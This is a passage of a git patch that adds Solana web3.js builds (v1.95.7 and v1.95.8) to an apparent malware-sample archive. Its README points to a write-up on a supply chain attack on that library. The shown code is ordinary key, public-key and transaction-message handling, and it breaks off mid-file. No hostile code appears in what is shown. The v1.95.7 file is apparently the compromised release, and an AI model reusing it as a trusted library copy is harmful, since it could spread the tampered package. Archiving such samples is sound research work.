From 0e19ee9bda9c0a391af37b673472820fa9ec3b59 Mon Sep 17 00:00:00 2001 From: Thomas Stromberg Date: Wed, 4 Dec 2024 18:34:03 -0500 Subject: [PATCH] Add Solana web3 sample --- npm/2024.solana_web3/README.txt | 1 + .../v1.95.7.index.browser.esm.js | 10495 ++++++++++++++++ .../v1.95.8.index.browser.esm.js | 10469 +++++++++++++++ 3 files changed, 20965 insertions(+) create mode 100644 npm/2024.solana_web3/README.txt create mode 100644 npm/2024.solana_web3/v1.95.7.index.browser.esm.js create mode 100644 npm/2024.solana_web3/v1.95.8.index.browser.esm.js diff --git a/npm/2024.solana_web3/README.txt b/npm/2024.solana_web3/README.txt new file mode 100644 index 0000000..00a463a --- /dev/null +++ b/npm/2024.solana_web3/README.txt @@ -0,0 +1 @@ +https://socket.dev/blog/supply-chain-attack-solana-web3-js-library diff --git a/npm/2024.solana_web3/v1.95.7.index.browser.esm.js b/npm/2024.solana_web3/v1.95.7.index.browser.esm.js new file mode 100644 index 0000000..d1e3b62 --- /dev/null +++ b/npm/2024.solana_web3/v1.95.7.index.browser.esm.js @@ -0,0 +1,10495 @@ +import { Buffer } from 'buffer'; +import { ed25519 } from '@noble/curves/ed25519'; +import BN from 'bn.js'; +import bs58 from 'bs58'; +import { sha256 } from '@noble/hashes/sha256'; +import { serialize, deserialize, deserializeUnchecked } from 'borsh'; +import * as BufferLayout from '@solana/buffer-layout'; +import { blob } from '@solana/buffer-layout'; +import { toBigIntLE, toBufferLE } from 'bigint-buffer'; +import { coerce, instance, string, tuple, literal, unknown, type, number, array, nullable, optional, boolean, record, union, create, any, assert as assert$1 } from 'superstruct'; +import RpcClient from 'jayson/lib/client/browser'; +import { CommonClient, WebSocket } from 'rpc-websockets'; +import { keccak_256 } from '@noble/hashes/sha3'; +import { secp256k1 } from '@noble/curves/secp256k1'; + +/** + * A 64 byte secret key, the first 32 bytes of which is the + * private scalar and the last 32 bytes is the public key. + * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/ + */ + +/** + * Ed25519 Keypair + */ + +const generatePrivateKey = ed25519.utils.randomPrivateKey; +const generateKeypair = () => { + const privateScalar = ed25519.utils.randomPrivateKey(); + const publicKey = getPublicKey(privateScalar); + const secretKey = new Uint8Array(64); + secretKey.set(privateScalar); + secretKey.set(publicKey, 32); + return { + publicKey, + secretKey + }; +}; +const getPublicKey = ed25519.getPublicKey; +function isOnCurve(publicKey) { + try { + ed25519.ExtendedPoint.fromHex(publicKey); + return true; + } catch { + return false; + } +} +const sign = (message, secretKey) => ed25519.sign(message, secretKey.slice(0, 32)); +const verify = ed25519.verify; + +const toBuffer = arr => { + if (Buffer.isBuffer(arr)) { + return arr; + } else if (arr instanceof Uint8Array) { + return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength); + } else { + return Buffer.from(arr); + } +}; + +// Class wrapping a plain object +class Struct { + constructor(properties) { + Object.assign(this, properties); + } + encode() { + return Buffer.from(serialize(SOLANA_SCHEMA, this)); + } + static decode(data) { + return deserialize(SOLANA_SCHEMA, this, data); + } + static decodeUnchecked(data) { + return deserializeUnchecked(SOLANA_SCHEMA, this, data); + } +} + +// Class representing a Rust-compatible enum, since enums are only strings or +// numbers in pure JS +class Enum extends Struct { + constructor(properties) { + super(properties); + this.enum = ''; + if (Object.keys(properties).length !== 1) { + throw new Error('Enum can only take single value'); + } + Object.keys(properties).map(key => { + this.enum = key; + }); + } +} +const SOLANA_SCHEMA = new Map(); + +var _PublicKey; + +/** + * Maximum length of derived pubkey seed + */ +const MAX_SEED_LENGTH = 32; + +/** + * Size of public key in bytes + */ +const PUBLIC_KEY_LENGTH = 32; + +/** + * Value to be converted into public key + */ + +/** + * JSON object representation of PublicKey class + */ + +function isPublicKeyData(value) { + return value._bn !== undefined; +} + +// local counter used by PublicKey.unique() +let uniquePublicKeyCounter = 1; + +/** + * A public key + */ +class PublicKey extends Struct { + /** + * Create a new PublicKey object + * @param value ed25519 public key as buffer or base-58 encoded string + */ + constructor(value) { + super({}); + /** @internal */ + this._bn = void 0; + if (isPublicKeyData(value)) { + this._bn = value._bn; + } else { + if (typeof value === 'string') { + // assume base 58 encoding by default + const decoded = bs58.decode(value); + if (decoded.length != PUBLIC_KEY_LENGTH) { + throw new Error(`Invalid public key input`); + } + this._bn = new BN(decoded); + } else { + this._bn = new BN(value); + } + if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) { + throw new Error(`Invalid public key input`); + } + } + } + + /** + * Returns a unique PublicKey for tests and benchmarks using a counter + */ + static unique() { + const key = new PublicKey(uniquePublicKeyCounter); + uniquePublicKeyCounter += 1; + return new PublicKey(key.toBuffer()); + } + + /** + * Default public key value. The base58-encoded string representation is all ones (as seen below) + * The underlying BN number is 32 bytes that are all zeros + */ + + /** + * Checks if two publicKeys are equal + */ + equals(publicKey) { + return this._bn.eq(publicKey._bn); + } + + /** + * Return the base-58 representation of the public key + */ + toBase58() { + return bs58.encode(this.toBytes()); + } + toJSON() { + return this.toBase58(); + } + + /** + * Return the byte array representation of the public key in big endian + */ + toBytes() { + const buf = this.toBuffer(); + return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength); + } + + /** + * Return the Buffer representation of the public key in big endian + */ + toBuffer() { + const b = this._bn.toArrayLike(Buffer); + if (b.length === PUBLIC_KEY_LENGTH) { + return b; + } + const zeroPad = Buffer.alloc(32); + b.copy(zeroPad, 32 - b.length); + return zeroPad; + } + get [Symbol.toStringTag]() { + return `PublicKey(${this.toString()})`; + } + + /** + * Return the base-58 representation of the public key + */ + toString() { + return this.toBase58(); + } + + /** + * Derive a public key from another key, a seed, and a program ID. + * The program ID will also serve as the owner of the public key, giving + * it permission to write data to the account. + */ + /* eslint-disable require-await */ + static async createWithSeed(fromPublicKey, seed, programId) { + const buffer = Buffer.concat([fromPublicKey.toBuffer(), Buffer.from(seed), programId.toBuffer()]); + const publicKeyBytes = sha256(buffer); + return new PublicKey(publicKeyBytes); + } + + /** + * Derive a program address from seeds and a program ID. + */ + /* eslint-disable require-await */ + static createProgramAddressSync(seeds, programId) { + let buffer = Buffer.alloc(0); + seeds.forEach(function (seed) { + if (seed.length > MAX_SEED_LENGTH) { + throw new TypeError(`Max seed length exceeded`); + } + buffer = Buffer.concat([buffer, toBuffer(seed)]); + }); + buffer = Buffer.concat([buffer, programId.toBuffer(), Buffer.from('ProgramDerivedAddress')]); + const publicKeyBytes = sha256(buffer); + if (isOnCurve(publicKeyBytes)) { + throw new Error(`Invalid seeds, address must fall off the curve`); + } + return new PublicKey(publicKeyBytes); + } + + /** + * Async version of createProgramAddressSync + * For backwards compatibility + * + * @deprecated Use {@link createProgramAddressSync} instead + */ + /* eslint-disable require-await */ + static async createProgramAddress(seeds, programId) { + return this.createProgramAddressSync(seeds, programId); + } + + /** + * Find a valid program address + * + * Valid program addresses must fall off the ed25519 curve. This function + * iterates a nonce until it finds one that when combined with the seeds + * results in a valid program address. + */ + static findProgramAddressSync(seeds, programId) { + let nonce = 255; + let address; + while (nonce != 0) { + try { + const seedsWithNonce = seeds.concat(Buffer.from([nonce])); + address = this.createProgramAddressSync(seedsWithNonce, programId); + } catch (err) { + if (err instanceof TypeError) { + throw err; + } + nonce--; + continue; + } + return [address, nonce]; + } + throw new Error(`Unable to find a viable program address nonce`); + } + + /** + * Async version of findProgramAddressSync + * For backwards compatibility + * + * @deprecated Use {@link findProgramAddressSync} instead + */ + static async findProgramAddress(seeds, programId) { + return this.findProgramAddressSync(seeds, programId); + } + + /** + * Check that a pubkey is on the ed25519 curve. + */ + static isOnCurve(pubkeyData) { + const pubkey = new PublicKey(pubkeyData); + return isOnCurve(pubkey.toBytes()); + } +} +_PublicKey = PublicKey; +PublicKey.default = new _PublicKey('11111111111111111111111111111111'); +SOLANA_SCHEMA.set(PublicKey, { + kind: 'struct', + fields: [['_bn', 'u256']] +}); + +/** + * Maximum over-the-wire size of a Transaction + * + * 1280 is IPv6 minimum MTU + * 40 bytes is the size of the IPv6 header + * 8 bytes is the size of the fragment header + */ +const PACKET_DATA_SIZE = 1280 - 40 - 8; +const VERSION_PREFIX_MASK = 0x7f; +const SIGNATURE_LENGTH_IN_BYTES = 64; + +class TransactionExpiredBlockheightExceededError extends Error { + constructor(signature) { + super(`Signature ${signature} has expired: block height exceeded.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredBlockheightExceededError.prototype, 'name', { + value: 'TransactionExpiredBlockheightExceededError' +}); +class TransactionExpiredTimeoutError extends Error { + constructor(signature, timeoutSeconds) { + super(`Transaction was not confirmed in ${timeoutSeconds.toFixed(2)} seconds. It is ` + 'unknown if it succeeded or failed. Check signature ' + `${signature} using the Solana Explorer or CLI tools.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', { + value: 'TransactionExpiredTimeoutError' +}); +class TransactionExpiredNonceInvalidError extends Error { + constructor(signature) { + super(`Signature ${signature} has expired: the nonce is no longer valid.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', { + value: 'TransactionExpiredNonceInvalidError' +}); + +class MessageAccountKeys { + constructor(staticAccountKeys, accountKeysFromLookups) { + this.staticAccountKeys = void 0; + this.accountKeysFromLookups = void 0; + this.staticAccountKeys = staticAccountKeys; + this.accountKeysFromLookups = accountKeysFromLookups; + } + keySegments() { + const keySegments = [this.staticAccountKeys]; + if (this.accountKeysFromLookups) { + keySegments.push(this.accountKeysFromLookups.writable); + keySegments.push(this.accountKeysFromLookups.readonly); + } + return keySegments; + } + get(index) { + for (const keySegment of this.keySegments()) { + if (index < keySegment.length) { + return keySegment[index]; + } else { + index -= keySegment.length; + } + } + return; + } + get length() { + return this.keySegments().flat().length; + } + compileInstructions(instructions) { + // Bail early if any account indexes would overflow a u8 + const U8_MAX = 255; + if (this.length > U8_MAX + 1) { + throw new Error('Account index overflow encountered during compilation'); + } + const keyIndexMap = new Map(); + this.keySegments().flat().forEach((key, index) => { + keyIndexMap.set(key.toBase58(), index); + }); + const findKeyIndex = key => { + const keyIndex = keyIndexMap.get(key.toBase58()); + if (keyIndex === undefined) throw new Error('Encountered an unknown instruction account key during compilation'); + return keyIndex; + }; + return instructions.map(instruction => { + return { + programIdIndex: findKeyIndex(instruction.programId), + accountKeyIndexes: instruction.keys.map(meta => findKeyIndex(meta.pubkey)), + data: instruction.data + }; + }); + } +} + +/** + * Layout for a public key + */ +const publicKey = (property = 'publicKey') => { + return BufferLayout.blob(32, property); +}; + +/** + * Layout for a signature + */ +const signature = (property = 'signature') => { + return BufferLayout.blob(64, property); +}; +/** + * Layout for a Rust String type + */ +const rustString = (property = 'string') => { + const rsl = BufferLayout.struct([BufferLayout.u32('length'), BufferLayout.u32('lengthPadding'), BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars')], property); + const _decode = rsl.decode.bind(rsl); + const _encode = rsl.encode.bind(rsl); + const rslShim = rsl; + rslShim.decode = (b, offset) => { + const data = _decode(b, offset); + return data['chars'].toString(); + }; + rslShim.encode = (str, b, offset) => { + const data = { + chars: Buffer.from(str, 'utf8') + }; + return _encode(data, b, offset); + }; + rslShim.alloc = str => { + return BufferLayout.u32().span + BufferLayout.u32().span + Buffer.from(str, 'utf8').length; + }; + return rslShim; +}; + +/** + * Layout for an Authorized object + */ +const authorized = (property = 'authorized') => { + return BufferLayout.struct([publicKey('staker'), publicKey('withdrawer')], property); +}; + +/** + * Layout for a Lockup object + */ +const lockup = (property = 'lockup') => { + return BufferLayout.struct([BufferLayout.ns64('unixTimestamp'), BufferLayout.ns64('epoch'), publicKey('custodian')], property); +}; + +/** + * Layout for a VoteInit object + */ +const voteInit = (property = 'voteInit') => { + return BufferLayout.struct([publicKey('nodePubkey'), publicKey('authorizedVoter'), publicKey('authorizedWithdrawer'), BufferLayout.u8('commission')], property); +}; + +/** + * Layout for a VoteAuthorizeWithSeedArgs object + */ +const voteAuthorizeWithSeedArgs = (property = 'voteAuthorizeWithSeedArgs') => { + return BufferLayout.struct([BufferLayout.u32('voteAuthorizationType'), publicKey('currentAuthorityDerivedKeyOwnerPubkey'), rustString('currentAuthorityDerivedKeySeed'), publicKey('newAuthorized')], property); +}; +function getAlloc(type, fields) { + const getItemAlloc = item => { + if (item.span >= 0) { + return item.span; + } else if (typeof item.alloc === 'function') { + return item.alloc(fields[item.property]); + } else if ('count' in item && 'elementLayout' in item) { + const field = fields[item.property]; + if (Array.isArray(field)) { + return field.length * getItemAlloc(item.elementLayout); + } + } else if ('fields' in item) { + // This is a `Structure` whose size needs to be recursively measured. + return getAlloc({ + layout: item + }, fields[item.property]); + } + // Couldn't determine allocated size of layout + return 0; + }; + let alloc = 0; + type.layout.fields.forEach(item => { + alloc += getItemAlloc(item); + }); + return alloc; +} + +function decodeLength(bytes) { + let len = 0; + let size = 0; + for (;;) { + let elem = bytes.shift(); + len |= (elem & 0x7f) << size * 7; + size += 1; + if ((elem & 0x80) === 0) { + break; + } + } + return len; +} +function encodeLength(bytes, len) { + let rem_len = len; + for (;;) { + let elem = rem_len & 0x7f; + rem_len >>= 7; + if (rem_len == 0) { + bytes.push(elem); + break; + } else { + elem |= 0x80; + bytes.push(elem); + } + } +} + +function assert (condition, message) { + if (!condition) { + throw new Error(message || 'Assertion failed'); + } +} + +class CompiledKeys { + constructor(payer, keyMetaMap) { + this.payer = void 0; + this.keyMetaMap = void 0; + this.payer = payer; + this.keyMetaMap = keyMetaMap; + } + static compile(instructions, payer) { + const keyMetaMap = new Map(); + const getOrInsertDefault = pubkey => { + const address = pubkey.toBase58(); + let keyMeta = keyMetaMap.get(address); + if (keyMeta === undefined) { + keyMeta = { + isSigner: false, + isWritable: false, + isInvoked: false + }; + keyMetaMap.set(address, keyMeta); + } + return keyMeta; + }; + const payerKeyMeta = getOrInsertDefault(payer); + payerKeyMeta.isSigner = true; + payerKeyMeta.isWritable = true; + for (const ix of instructions) { + getOrInsertDefault(ix.programId).isInvoked = true; + for (const accountMeta of ix.keys) { + const keyMeta = getOrInsertDefault(accountMeta.pubkey); + keyMeta.isSigner ||= accountMeta.isSigner; + keyMeta.isWritable ||= accountMeta.isWritable; + } + } + return new CompiledKeys(payer, keyMetaMap); + } + getMessageComponents() { + const mapEntries = [...this.keyMetaMap.entries()]; + assert(mapEntries.length <= 256, 'Max static account keys length exceeded'); + const writableSigners = mapEntries.filter(([, meta]) => meta.isSigner && meta.isWritable); + const readonlySigners = mapEntries.filter(([, meta]) => meta.isSigner && !meta.isWritable); + const writableNonSigners = mapEntries.filter(([, meta]) => !meta.isSigner && meta.isWritable); + const readonlyNonSigners = mapEntries.filter(([, meta]) => !meta.isSigner && !meta.isWritable); + const header = { + numRequiredSignatures: writableSigners.length + readonlySigners.length, + numReadonlySignedAccounts: readonlySigners.length, + numReadonlyUnsignedAccounts: readonlyNonSigners.length + }; + + // sanity checks + { + assert(writableSigners.length > 0, 'Expected at least one writable signer key'); + const [payerAddress] = writableSigners[0]; + assert(payerAddress === this.payer.toBase58(), 'Expected first writable signer key to be the fee payer'); + } + const staticAccountKeys = [...writableSigners.map(([address]) => new PublicKey(address)), ...readonlySigners.map(([address]) => new PublicKey(address)), ...writableNonSigners.map(([address]) => new PublicKey(address)), ...readonlyNonSigners.map(([address]) => new PublicKey(address))]; + return [header, staticAccountKeys]; + } + extractTableLookup(lookupTable) { + const [writableIndexes, drainedWritableKeys] = this.drainKeysFoundInLookupTable(lookupTable.state.addresses, keyMeta => !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable); + const [readonlyIndexes, drainedReadonlyKeys] = this.drainKeysFoundInLookupTable(lookupTable.state.addresses, keyMeta => !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable); + + // Don't extract lookup if no keys were found + if (writableIndexes.length === 0 && readonlyIndexes.length === 0) { + return; + } + return [{ + accountKey: lookupTable.key, + writableIndexes, + readonlyIndexes + }, { + writable: drainedWritableKeys, + readonly: drainedReadonlyKeys + }]; + } + + /** @internal */ + drainKeysFoundInLookupTable(lookupTableEntries, keyMetaFilter) { + const lookupTableIndexes = new Array(); + const drainedKeys = new Array(); + for (const [address, keyMeta] of this.keyMetaMap.entries()) { + if (keyMetaFilter(keyMeta)) { + const key = new PublicKey(address); + const lookupTableIndex = lookupTableEntries.findIndex(entry => entry.equals(key)); + if (lookupTableIndex >= 0) { + assert(lookupTableIndex < 256, 'Max lookup table index exceeded'); + lookupTableIndexes.push(lookupTableIndex); + drainedKeys.push(key); + this.keyMetaMap.delete(address); + } + } + } + return [lookupTableIndexes, drainedKeys]; + } +} + +const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly'; + +/** + * Delegates to `Array#shift`, but throws if the array is zero-length. + */ +function guardedShift(byteArray) { + if (byteArray.length === 0) { + throw new Error(END_OF_BUFFER_ERROR_MESSAGE); + } + return byteArray.shift(); +} + +/** + * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of + * the array. + */ +function guardedSplice(byteArray, ...args) { + const [start] = args; + if (args.length === 2 // Implies that `deleteCount` was supplied + ? start + (args[1] ?? 0) > byteArray.length : start >= byteArray.length) { + throw new Error(END_OF_BUFFER_ERROR_MESSAGE); + } + return byteArray.splice(...args); +} + +/** + * An instruction to execute by a program + * + * @property {number} programIdIndex + * @property {number[]} accounts + * @property {string} data + */ + +/** + * Message constructor arguments + */ + +/** + * List of instructions to be processed atomically + */ +class Message { + constructor(args) { + this.header = void 0; + this.accountKeys = void 0; + this.recentBlockhash = void 0; + this.instructions = void 0; + this.indexToProgramIds = new Map(); + this.header = args.header; + this.accountKeys = args.accountKeys.map(account => new PublicKey(account)); + this.recentBlockhash = args.recentBlockhash; + this.instructions = args.instructions; + this.instructions.forEach(ix => this.indexToProgramIds.set(ix.programIdIndex, this.accountKeys[ix.programIdIndex])); + } + get version() { + return 'legacy'; + } + get staticAccountKeys() { + return this.accountKeys; + } + get compiledInstructions() { + return this.instructions.map(ix => ({ + programIdIndex: ix.programIdIndex, + accountKeyIndexes: ix.accounts, + data: bs58.decode(ix.data) + })); + } + get addressTableLookups() { + return []; + } + getAccountKeys() { + return new MessageAccountKeys(this.staticAccountKeys); + } + static compile(args) { + const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey); + const [header, staticAccountKeys] = compiledKeys.getMessageComponents(); + const accountKeys = new MessageAccountKeys(staticAccountKeys); + const instructions = accountKeys.compileInstructions(args.instructions).map(ix => ({ + programIdIndex: ix.programIdIndex, + accounts: ix.accountKeyIndexes, + data: bs58.encode(ix.data) + })); + return new Message({ + header, + accountKeys: staticAccountKeys, + recentBlockhash: args.recentBlockhash, + instructions + }); + } + isAccountSigner(index) { + return index < this.header.numRequiredSignatures; + } + isAccountWritable(index) { + const numSignedAccounts = this.header.numRequiredSignatures; + if (index >= this.header.numRequiredSignatures) { + const unsignedAccountIndex = index - numSignedAccounts; + const numUnsignedAccounts = this.accountKeys.length - numSignedAccounts; + const numWritableUnsignedAccounts = numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts; + return unsignedAccountIndex < numWritableUnsignedAccounts; + } else { + const numWritableSignedAccounts = numSignedAccounts - this.header.numReadonlySignedAccounts; + return index < numWritableSignedAccounts; + } + } + isProgramId(index) { + return this.indexToProgramIds.has(index); + } + programIds() { + return [...this.indexToProgramIds.values()]; + } + nonProgramIds() { + return this.accountKeys.filter((_, index) => !this.isProgramId(index)); + } + serialize() { + const numKeys = this.accountKeys.length; + let keyCount = []; + encodeLength(keyCount, numKeys); + const instructions = this.instructions.map(instruction => { + const { + accounts, + programIdIndex + } = instruction; + const data = Array.from(bs58.decode(instruction.data)); + let keyIndicesCount = []; + encodeLength(keyIndicesCount, accounts.length); + let dataCount = []; + encodeLength(dataCount, data.length); + return { + programIdIndex, + keyIndicesCount: Buffer.from(keyIndicesCount), + keyIndices: accounts, + dataLength: Buffer.from(dataCount), + data + }; + }); + let instructionCount = []; + encodeLength(instructionCount, instructions.length); + let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE); + Buffer.from(instructionCount).copy(instructionBuffer); + let instructionBufferLength = instructionCount.length; + instructions.forEach(instruction => { + const instructionLayout = BufferLayout.struct([BufferLayout.u8('programIdIndex'), BufferLayout.blob(instruction.keyIndicesCount.length, 'keyIndicesCount'), BufferLayout.seq(BufferLayout.u8('keyIndex'), instruction.keyIndices.length, 'keyIndices'), BufferLayout.blob(instruction.dataLength.length, 'dataLength'), BufferLayout.seq(BufferLayout.u8('userdatum'), instruction.data.length, 'data')]); + const length = instructionLayout.encode(instruction, instructionBuffer, instructionBufferLength); + instructionBufferLength += length; + }); + instructionBuffer = instructionBuffer.slice(0, instructionBufferLength); + const signDataLayout = BufferLayout.struct([BufferLayout.blob(1, 'numRequiredSignatures'), BufferLayout.blob(1, 'numReadonlySignedAccounts'), BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'), BufferLayout.blob(keyCount.length, 'keyCount'), BufferLayout.seq(publicKey('key'), numKeys, 'keys'), publicKey('recentBlockhash')]); + const transaction = { + numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]), + numReadonlySignedAccounts: Buffer.from([this.header.numReadonlySignedAccounts]), + numReadonlyUnsignedAccounts: Buffer.from([this.header.numReadonlyUnsignedAccounts]), + keyCount: Buffer.from(keyCount), + keys: this.accountKeys.map(key => toBuffer(key.toBytes())), + recentBlockhash: bs58.decode(this.recentBlockhash) + }; + let signData = Buffer.alloc(2048); + const length = signDataLayout.encode(transaction, signData); + instructionBuffer.copy(signData, length); + return signData.slice(0, length + instructionBuffer.length); + } + + /** + * Decode a compiled message into a Message object. + */ + static from(buffer) { + // Slice up wire data + let byteArray = [...buffer]; + const numRequiredSignatures = guardedShift(byteArray); + if (numRequiredSignatures !== (numRequiredSignatures & VERSION_PREFIX_MASK)) { + throw new Error('Versioned messages must be deserialized with VersionedMessage.deserialize()'); + } + const numReadonlySignedAccounts = guardedShift(byteArray); + const numReadonlyUnsignedAccounts = guardedShift(byteArray); + const accountCount = decodeLength(byteArray); + let accountKeys = []; + for (let i = 0; i < accountCount; i++) { + const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH); + accountKeys.push(new PublicKey(Buffer.from(account))); + } + const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH); + const instructionCount = decodeLength(byteArray); + let instructions = []; + for (let i = 0; i < instructionCount; i++) { + const programIdIndex = guardedShift(byteArray); + const accountCount = decodeLength(byteArray); + const accounts = guardedSplice(byteArray, 0, accountCount); + const dataLength = decodeLength(byteArray); + const dataSlice = guardedSplice(byteArray, 0, dataLength); + const data = bs58.encode(Buffer.from(dataSlice)); + instructions.push({ + programIdIndex, + accounts, + data + }); + } + const messageArgs = { + header: { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + }, + recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)), + accountKeys, + instructions + }; + return new Message(messageArgs); + } +} + +/** + * Message constructor arguments + */ + +class MessageV0 { + constructor(args) { + this.header = void 0; + this.staticAccountKeys = void 0; + this.recentBlockhash = void 0; + this.compiledInstructions = void 0; + this.addressTableLookups = void 0; + this.header = args.header; + this.staticAccountKeys = args.staticAccountKeys; + this.recentBlockhash = args.recentBlockhash; + this.compiledInstructions = args.compiledInstructions; + this.addressTableLookups = args.addressTableLookups; + } + get version() { + return 0; + } + get numAccountKeysFromLookups() { + let count = 0; + for (const lookup of this.addressTableLookups) { + count += lookup.readonlyIndexes.length + lookup.writableIndexes.length; + } + return count; + } + getAccountKeys(args) { + let accountKeysFromLookups; + if (args && 'accountKeysFromLookups' in args && args.accountKeysFromLookups) { + if (this.numAccountKeysFromLookups != args.accountKeysFromLookups.writable.length + args.accountKeysFromLookups.readonly.length) { + throw new Error('Failed to get account keys because of a mismatch in the number of account keys from lookups'); + } + accountKeysFromLookups = args.accountKeysFromLookups; + } else if (args && 'addressLookupTableAccounts' in args && args.addressLookupTableAccounts) { + accountKeysFromLookups = this.resolveAddressTableLookups(args.addressLookupTableAccounts); + } else if (this.addressTableLookups.length > 0) { + throw new Error('Failed to get account keys because address table lookups were not resolved'); + } + return new MessageAccountKeys(this.staticAccountKeys, accountKeysFromLookups); + } + isAccountSigner(index) { + return index < this.header.numRequiredSignatures; + } + isAccountWritable(index) { + const numSignedAccounts = this.header.numRequiredSignatures; + const numStaticAccountKeys = this.staticAccountKeys.length; + if (index >= numStaticAccountKeys) { + const lookupAccountKeysIndex = index - numStaticAccountKeys; + const numWritableLookupAccountKeys = this.addressTableLookups.reduce((count, lookup) => count + lookup.writableIndexes.length, 0); + return lookupAccountKeysIndex < numWritableLookupAccountKeys; + } else if (index >= this.header.numRequiredSignatures) { + const unsignedAccountIndex = index - numSignedAccounts; + const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts; + const numWritableUnsignedAccounts = numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts; + return unsignedAccountIndex < numWritableUnsignedAccounts; + } else { + const numWritableSignedAccounts = numSignedAccounts - this.header.numReadonlySignedAccounts; + return index < numWritableSignedAccounts; + } + } + resolveAddressTableLookups(addressLookupTableAccounts) { + const accountKeysFromLookups = { + writable: [], + readonly: [] + }; + for (const tableLookup of this.addressTableLookups) { + const tableAccount = addressLookupTableAccounts.find(account => account.key.equals(tableLookup.accountKey)); + if (!tableAccount) { + throw new Error(`Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`); + } + for (const index of tableLookup.writableIndexes) { + if (index < tableAccount.state.addresses.length) { + accountKeysFromLookups.writable.push(tableAccount.state.addresses[index]); + } else { + throw new Error(`Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`); + } + } + for (const index of tableLookup.readonlyIndexes) { + if (index < tableAccount.state.addresses.length) { + accountKeysFromLookups.readonly.push(tableAccount.state.addresses[index]); + } else { + throw new Error(`Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`); + } + } + } + return accountKeysFromLookups; + } + static compile(args) { + const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey); + const addressTableLookups = new Array(); + const accountKeysFromLookups = { + writable: new Array(), + readonly: new Array() + }; + const lookupTableAccounts = args.addressLookupTableAccounts || []; + for (const lookupTable of lookupTableAccounts) { + const extractResult = compiledKeys.extractTableLookup(lookupTable); + if (extractResult !== undefined) { + const [addressTableLookup, { + writable, + readonly + }] = extractResult; + addressTableLookups.push(addressTableLookup); + accountKeysFromLookups.writable.push(...writable); + accountKeysFromLookups.readonly.push(...readonly); + } + } + const [header, staticAccountKeys] = compiledKeys.getMessageComponents(); + const accountKeys = new MessageAccountKeys(staticAccountKeys, accountKeysFromLookups); + const compiledInstructions = accountKeys.compileInstructions(args.instructions); + return new MessageV0({ + header, + staticAccountKeys, + recentBlockhash: args.recentBlockhash, + compiledInstructions, + addressTableLookups + }); + } + serialize() { + const encodedStaticAccountKeysLength = Array(); + encodeLength(encodedStaticAccountKeysLength, this.staticAccountKeys.length); + const serializedInstructions = this.serializeInstructions(); + const encodedInstructionsLength = Array(); + encodeLength(encodedInstructionsLength, this.compiledInstructions.length); + const serializedAddressTableLookups = this.serializeAddressTableLookups(); + const encodedAddressTableLookupsLength = Array(); + encodeLength(encodedAddressTableLookupsLength, this.addressTableLookups.length); + const messageLayout = BufferLayout.struct([BufferLayout.u8('prefix'), BufferLayout.struct([BufferLayout.u8('numRequiredSignatures'), BufferLayout.u8('numReadonlySignedAccounts'), BufferLayout.u8('numReadonlyUnsignedAccounts')], 'header'), BufferLayout.blob(encodedStaticAccountKeysLength.length, 'staticAccountKeysLength'), BufferLayout.seq(publicKey(), this.staticAccountKeys.length, 'staticAccountKeys'), publicKey('recentBlockhash'), BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'), BufferLayout.blob(serializedInstructions.length, 'serializedInstructions'), BufferLayout.blob(encodedAddressTableLookupsLength.length, 'addressTableLookupsLength'), BufferLayout.blob(serializedAddressTableLookups.length, 'serializedAddressTableLookups')]); + const serializedMessage = new Uint8Array(PACKET_DATA_SIZE); + const MESSAGE_VERSION_0_PREFIX = 1 << 7; + const serializedMessageLength = messageLayout.encode({ + prefix: MESSAGE_VERSION_0_PREFIX, + header: this.header, + staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength), + staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()), + recentBlockhash: bs58.decode(this.recentBlockhash), + instructionsLength: new Uint8Array(encodedInstructionsLength), + serializedInstructions, + addressTableLookupsLength: new Uint8Array(encodedAddressTableLookupsLength), + serializedAddressTableLookups + }, serializedMessage); + return serializedMessage.slice(0, serializedMessageLength); + } + serializeInstructions() { + let serializedLength = 0; + const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE); + for (const instruction of this.compiledInstructions) { + const encodedAccountKeyIndexesLength = Array(); + encodeLength(encodedAccountKeyIndexesLength, instruction.accountKeyIndexes.length); + const encodedDataLength = Array(); + encodeLength(encodedDataLength, instruction.data.length); + const instructionLayout = BufferLayout.struct([BufferLayout.u8('programIdIndex'), BufferLayout.blob(encodedAccountKeyIndexesLength.length, 'encodedAccountKeyIndexesLength'), BufferLayout.seq(BufferLayout.u8(), instruction.accountKeyIndexes.length, 'accountKeyIndexes'), BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'), BufferLayout.blob(instruction.data.length, 'data')]); + serializedLength += instructionLayout.encode({ + programIdIndex: instruction.programIdIndex, + encodedAccountKeyIndexesLength: new Uint8Array(encodedAccountKeyIndexesLength), + accountKeyIndexes: instruction.accountKeyIndexes, + encodedDataLength: new Uint8Array(encodedDataLength), + data: 